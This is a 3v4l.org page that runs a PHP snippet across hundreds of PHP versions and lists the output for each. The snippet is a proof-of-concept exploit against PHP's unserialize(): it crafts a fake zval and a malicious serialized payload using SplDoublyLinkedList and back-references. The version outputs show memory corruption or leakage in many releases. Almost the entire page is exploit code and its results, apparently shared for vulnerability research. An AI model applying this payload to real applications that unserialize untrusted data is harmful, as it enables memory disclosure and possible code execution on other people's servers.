3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
Output for 5.4.45, 5.5.29 - 5.5.38, 5.6.13 - 5.6.25, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1) } [4]=> string(24) "�v�B" }
Output for 5.4.39 - 5.4.44, 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1122334455) } [4]=> string(24) "�v�B����" }
Output for 5.4.0 - 5.4.38, 5.5.0 - 5.5.22, 5.6.0 - 5.6.6
array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> array(1) { [0]=> int(1122334455) } [4]=> string(24) "�v�B" }
Output for 5.3.3 - 5.3.29
Warning: Class SplDoublyLinkedList has no unserializer in /in/q8kgB on line 20 array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> &array(1) { [0]=> *RECURSION* } [4]=> string(24) "�v�B" }
Output for 5.3.0 - 5.3.2
Warning: Class SplDoublyLinkedList has no unserializer in /in/q8kgB on line 20 array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#2 (1) { ["ryat"]=> &int(1) } [3]=> &array(1) { [0]=> &array(1) { [0]=> *RECURSION* } } [4]=> string(24) "�v�B" }
Output for 5.1.3 - 5.1.6, 5.2.0 - 5.2.17
Warning: Class __PHP_Incomplete_Class has no unserializer in /in/q8kgB on line 20 Notice: unserialize(): Error at offset 42 of 149 bytes in /in/q8kgB on line 20 bool(false)
Output for 5.1.0 - 5.1.2
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in /in/q8kgB on line 4 Warning: Class __PHP_Incomplete_Class has no unserializer in /in/q8kgB on line 20 Notice: unserialize(): Error at offset 42 of 149 bytes in /in/q8kgB on line 20 bool(false)
Output for 5.0.0 - 5.0.5
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in /in/q8kgB on line 4 Notice: unserialize(): Error at offset 17 of 149 bytes in /in/q8kgB on line 20 bool(false)
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9
Notice: unserialize(): Error at offset 17 of 149 bytes in /in/q8kgB on line 20 bool(false)
Output for 4.3.0 - 4.3.1
Notice: unserialize() [http://www.php.net/function.unserialize]: Error at offset 17 of 149 bytes in /in/q8kgB on line 20 bool(false)

preferences:
220.99 ms | 401 KiB | 351 Q